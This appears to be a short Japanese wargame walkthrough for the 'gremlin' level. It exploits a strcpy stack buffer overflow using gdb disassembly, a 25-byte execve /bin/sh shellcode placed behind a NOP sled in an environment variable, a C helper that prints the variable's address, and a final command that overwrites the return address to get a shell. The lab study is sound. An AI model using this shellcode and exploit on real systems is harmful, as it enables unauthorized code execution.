次はヒント。
strcpyは文字列の長さチェックをしないため、BOFを引き起こせる。
gdbで逆アセンブル。
<main+54>でstrcpyを呼び出している。
引数はbuffer、argv[1]。
スタックは引数を逆順に並べ替える。したがって[ebp-256]がbufferの位置である。
しかしスタックにはebp以外にも4バイトのSFP、RETがある。
RETをシェルコードのアドレスに上書きすればシェルを得られる。
次は25バイトのシェルコード。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
上のシェルコードを適当な量のNOPと組み合わせて次のコマンドで環境変数SHLに入れる。
export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
そして次のプログラムを利用してSHLのアドレスを探す。
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("%p\n", getenv("SHL"));
return 0;
}
5回ぐらい実行してアドレスの変更がないか確かめる。
その結果、アドレスは0xbfffff6eだった。
攻撃してみよう
bufferが256バイト、SFPが4バイトだから260バイトを意味なしの文字に上書きして最後の4バイトに環境変数のアドレスを入れる。
./gremlin `python -c 'print "A"*260+"\x6e\xff\xff\xbf"'`
シェル獲得。